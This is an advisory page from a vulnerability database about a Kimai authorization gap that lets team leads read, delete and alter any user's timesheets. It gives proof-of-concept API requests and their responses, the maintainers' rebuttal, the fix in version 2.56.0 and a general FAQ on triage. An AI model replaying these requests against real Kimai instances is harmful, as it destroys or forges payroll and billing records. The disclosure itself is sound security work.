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Vulnerability Database

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Kimai has Missing Voter Check that Allows Cross-Team Timesheet Manipulation — kimai / kimai

Incorrect Authorization

Summary

Any ROLE_TEAMLEAD user can enumerate, read, modify, and permanently delete timesheets belonging to any other user in the system — regardless of team membership. This enables data destruction (deleted billable hours), data tampering (forged timesheet durations), and full authorization bypass on timesheet resources. Verified against Kimai 2.52.0.

Details

TimesheetVoter::voteOnAttribute() maps permissions to own_timesheet or other_timesheet without checking team membership. The voter's own comment confirms this is a known gap:

// extend me for &quot;team&quot; support later on
if ($subject-&gt;getUser()?-&gt;getId() === $user-&gt;getId()) {
    $permission .= &#039;own&#039;;
} else {
    $permission .= &#039;other&#039;;
}

PoC

Tested against Kimai 2.52.0 Docker instance.

Setup:

User A (usera, ROLE_TEAMLEAD) owns timesheet ID 2 with description "Private timesheet - UserA only"
User B (userb, ROLE_TEAMLEAD) is NOT on any team with User A

User B reads User A's timesheet data:

GET /api/timesheets/2 HTTP/1.1
X-AUTH-USER: userb
X-AUTH-TOKEN: &lt;userb_api_token&gt;

Response: HTTP 200 — returns full timesheet record including description "Private timesheet - UserA only".

User B deletes User A's timesheet:

DELETE /api/timesheets/3 HTTP/1.1
X-AUTH-USER: userb
X-AUTH-TOKEN: &lt;userb_api_token&gt;

Response: HTTP 204 No Content — timesheet permanently deleted.

User B tampers User A's timesheet:

PATCH /api/timesheets/6 HTTP/1.1
X-AUTH-USER: userb
X-AUTH-TOKEN: &lt;userb_api_token&gt;
Content-Type: application/json

{&quot;begin&quot;:&quot;2026-03-24T08:00:00&quot;,&quot;end&quot;:&quot;2026-03-24T18:00:00&quot;,&quot;project&quot;:1,&quot;activity&quot;:1,&quot;description&quot;:&quot;TAMPERED&quot;,&quot;exported&quot;:false,&quot;billable&quot;:false}

Response: HTTP 200 OK — duration inflated from 3600s to 36000s, description overwritten.

Note: ROLE_USER (userc) is correctly blocked — DELETE returns 403 and the actions endpoint returns an empty array. The vulnerability only affects ROLE_TEAMLEAD and above. Timesheet IDs are sequential integers, trivially enumerable.

Impact

Any authenticated user with ROLE_TEAMLEAD or above can:

Permanently delete timesheets belonging to any user system-wide — destroying billable hours, payroll data, and project billing history
Silently alter timesheet descriptions, hours, and billing flags — forging hours up or down, directly affecting invoicing and payroll
Enumerate all timesheet IDs (sequential integers) and access action metadata for arbitrary records

No user interaction required. ROLE_USER accounts are correctly restricted; the vulnerability is specific to ROLE_TEAMLEAD receiving global scope instead of team-scoped access.

Maintainers answer: why this is not eligible for a CVE

The behavior described matches the documented permission model. Per the Kimai documentation, the relevant permissions granted to ROLE_TEAMLEAD are:

edit_other_timesheet — Edit existing records of other users
delete_other_timesheet — Delete existing records of other users

These permissions were global by design, not team-scoped. The UI surfaces only the teamlead's own team timesheets, but the API has historically honored these permissions as documented: a role holding *_other_timesheet can act on any other user's timesheet. The inline comment // extend me for "team" support later on reflects this accurately — team-scoped enforcement was a planned enhancement, not a security control that existed and failed.

The report frames this as authorization bypass, but no authorization boundary is being crossed: ROLE_TEAMLEAD is operating within its documented permissions.

Kimai acknowledges that this behavior might not be expected, so while it will be treated as a feature request for team-scoped permission enforcement and not a vulnerability, it still track it as having security implications.

Solution

Team-scoped timesheet permission checks were added in 2.56.0.

Operators of Kimai <= 2.55 who need stricter isolation between teamleads should not grant ROLE_TEAMLEAD to users who must not act on other teams' timesheets.

Published: May 6, 2026
Updated: Jun 5, 2026
GHSA: GHSA-9g2q-w3w2-vf7q
Severity: Medium
Exploit:
CISA KEV:

No technical information available.

CWEs:

CWE-863

Affected Software
References

Software	From	Fixed in
kimai / kimai	-	2.56.0

https://github.com/kimai/kimai/security/advisories/GHSA-9g2q-w3w2-vf7q

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.